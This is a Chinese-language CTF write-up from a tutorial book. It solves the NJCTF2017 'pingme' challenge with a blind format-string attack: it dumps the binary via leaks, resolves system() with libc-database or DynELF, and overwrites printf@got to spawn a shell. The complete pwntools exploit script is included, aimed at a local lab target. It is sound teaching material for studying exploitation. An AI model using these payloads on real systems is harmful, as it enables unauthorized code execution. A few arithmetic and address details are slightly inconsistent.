> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.2_pwn_njctf2017_pingme.md).

# 6.1.2 pwn NJCTF2017 pingme

* [题目复现](#题目复现)
* [Blind fmt 原理及题目解析](#blind-fmt-原理及题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.2_pwn_njctf2017_pingme)

## 题目复现

在 6.1.1 中我们看到了 blind ROP，这一节中则将看到 blind fmt。它们的共同点是都没有二进制文件，只提供 ip 和端口。

checksec 如下：

```
$ checksec -f pingme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATHFORTIFY Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No        0               2       pingme
```

关闭 ASLR，然后把程序运行起来：

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &
```

## Blind fmt 原理及题目解析

格式化字符串漏洞我们已经在 3.3.1 中详细讲过了，blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用，好在程序没有开启任何保护，利用很直接。

通常有两种方法可以解决这种问题，一种是利用信息泄露把程序从内存中 dump 下来，另一种是使用 pwntools 的 DynELF 模块（关于该模块的使用我们在章节 4.4 中有讲过）。

## 漏洞利用

### 确认漏洞

首先你当然不知道这是一个栈溢出还是格式化字符串，栈溢出的话输入一段长字符串，但程序是否崩溃，格式化字符串的话就输入格式字符，看输出。

```
$ nc 127.0.0.1 10001
Ping me
ABCD%7$x
ABCD44434241
```

很明显是格式字符串，而且 ABCD 在第 7 个参数的位置，实际上当然不会这么巧，所以需要使用一个脚本去枚举。这里使用 pwntools 的 fmtstr 模块了：

```python
def exec_fmt(payload):
    p.sendline(payload)
    info = p.recv()
    return info
auto = FmtStr(exec_fmt)
offset = auto.offset
```

```
[*] Found format string offset: 7
```

### dump file

接下来我们就利用该漏洞把二进制文件从内存中 dump 下来：

```python
def dump_memory(start_addr, end_addr):
    result = ""
    while start_addr < end_addr:
        p = remote('127.0.0.1', '10001')
        p.recvline()
        #print result.encode('hex')
        payload = "%9$s.AAA" + p32(start_addr)
        p.sendline(payload)
        data = p.recvuntil(".AAA")[:-4]
        if data == "":
            data = "\x00"
        log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
        result += data
        start_addr += len(data)
        p.close()
    return result
start_addr = 0x8048000
end_addr   = 0x8049000
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
    f.write(code_bin)
    f.close()
```

这里构造的 paylaod 和前面有点不同，它把地址放在了后面，是为了防止 printf 的 `%s` 被 `\x00` 截断：

```python
payload = "%9$s.AAA" + p32(start_addr)
```

另外 `.AAA`，是作为一个标志，我们需要的内存在 `.AAA` 的前面，最后，偏移由 7 变为 9。

在没有开启 PIE 的情况下，32 位程序从地址 `0x8048000` 开始，0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时，数据长度为零，直接给它赋值就可以了。

于是就成了有二进制文件无 libc 的格式化字符串漏洞，在 r2 中查询 printf 的 got 地址：

```
[0x08048490]> is~printf
vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
[0x08048490]> pd 3 @ 0x08048400
        :   ;-- imp.printf:
        :   0x08048400      ff2574990408   jmp dword [reloc.printf_116] ; 0x8049974
        :   0x08048406      6808000000     push 8                      ; 8
        `=< 0x0804840b      e9d0ffffff     jmp 0x80483e0
```

地址为 `0x8049974`。

### printf address & system address

接下来通过 printf\@got 泄露出 printf 的地址，进行到这儿，就有两种方式要考虑了，即我们是否可以拿到 libc，如果能，就很简单了。如果不能，就需要使用 DynELF 进行无 libc 的利用。

先说第一种：

```python
def get_printf_addr():
    p = remote('127.0.0.1', '10001')
    p.recvline()
    payload = "%9$s.AAA" + p32(printf_got)
    p.sendline(payload)
    data = p.recvuntil(".AAA")[:4]
    log.info("printf address: %s" % data.encode('hex'))
    return data
printf_addr = get_printf_addr()
```

```
[*] printf address: 70e6e0f7
```

所以 printf 的地址是 `0xf7e0e670`（小端序），使用 libc-database 查询得到 libc.so，然后可以得到 printf 和 system 的相对位置。

```
$ ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
offset_printf = 0x00051670
offset_system = 0x0003cc50
```

然后计算得到 printf 的地址：

```python
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
```

第二种方法是使用 DynELF 模块来泄露函数地址：

```python
def leak(addr):
    p = remote('127.0.0.1', '10001')
    p.recvline()
    payload = "%9$s.AAA" + p32(addr)
    p.sendline(payload)
    data = p.recvuntil(".AAA")[:-4] + "\x00"
    log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
    p.close()
    return data
data = DynELF(leak, 0x08048490)     # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)
```

```
[*] system address: 0xf7df9c50
[*] printf address: 0xf7e0e670
```

DynELF 不要求我们拿到 libc.so，所以如果我们查询不到 libc.so 的版本信息，该模块就能发挥它最大的作用。

### attack

按照格式化字符串漏洞的套路，我们通过任意写将 printf\@got 指向的内存覆盖为 system 的地址，然后发送字符串 `/bin/sh`，就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`。

终极 payload 如下，使用 `fmtstr_payload` 函数来自动构造，将：

```python
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.0.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()
```

虽说有这样的自动化函数很方便，基本的手工构造还是要懂的，看一下生成的 payload 长什么样子：

```
[DEBUG] Sent 0x3a bytes:
    00000000  74 99 04 08  75 99 04 08  76 99 04 08  77 99 04 08  │t···│u···│v···│w···│
    00000010  25 36 34 63  25 37 24 68  68 6e 25 37  36 63 25 38  │%64c│%7$h│hn%7│6c%8│
    00000020  24 68 68 6e  25 36 37 63  25 39 24 68  68 6e 25 32  │$hhn│%67c│%9$h│hn%2│
    00000030  34 63 25 31  30 24 68 68  6e 0a                     │4c%1│0$hh│n·│
    0000003a
```

开头是 printf\@got 地址，四个字节分别位于：

```
0x08049974
0x08049975
0x08049976
0x08049977
```

然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`：

```
16  + 64 = 80  = 0x50
80  + 76 = 156 = 0x9c
156 + 67 = 223 = 0xdf
233 + 24 = 247 = 0xf7
```

就这样将 system 的地址写入了内存。

Bingo!!!

```
$ python2 exp.py
[+] Opening connection to 127.0.0.2 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```

### exploit

完整的 exp 如下：

```python
from pwn import *

# context.log_level = 'debug'

def exec_fmt(payload):
    p.sendline(payload)
    info = p.recv()
    return info
# p = remote('127.0.0.1', '10001')
# p.recvline()
# auto = FmtStr(exec_fmt)
# offset = auto.offset
# p.close()

def dump_memory(start_addr, end_addr):
    result = ""
    while start_addr < end_addr:
        p = remote('127.0.0.1', '10001')
        p.recvline()
        # print result.encode('hex')
        payload = "%9$s.AAA" + p32(start_addr)
        p.sendline(payload)
        data = p.recvuntil(".AAA")[:-4]
        if data == "":
            data = "\x00"
        log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
        result += data
        start_addr += len(data)
        p.close()
    return result
# start_addr = 0x8048000
# end_addr   = 0x8049000
# code_bin = dump_memory(start_addr, end_addr)
# with open("code.bin", "wb") as f:
#     f.write(code_bin)
#     f.close()
printf_got = 0x8049974

## method 1
def get_printf_addr():
    p = remote('127.0.0.1', '10001')
    p.recvline()
    payload = "%9$s.AAA" + p32(printf_got)
    p.sendline(payload)
    data = p.recvuntil(".AAA")[:4]
    log.info("printf address: %s" % data.encode('hex'))
    return data
# printf_addr = get_printf_addr()
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)

## method 2
def leak(addr):
    p = remote('127.0.0.1', '10001')
    p.recvline()
    payload = "%9$s.AAA" + p32(addr)
    p.sendline(payload)
    data = p.recvuntil(".AAA")[:-4] + "\x00"
    log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
    p.close()
    return data
# data = DynELF(leak, 0x08048490)     # Entry point address
# system_addr = data.lookup('system', 'libc')
# printf_addr = data.lookup('printf', 'libc')
# log.info("system address: 0x%x" % system_addr)
# log.info("printf address: 0x%x" % printf_addr)

## get shell
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.1.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()
```

## 参考资料

* [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/)
* [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr)
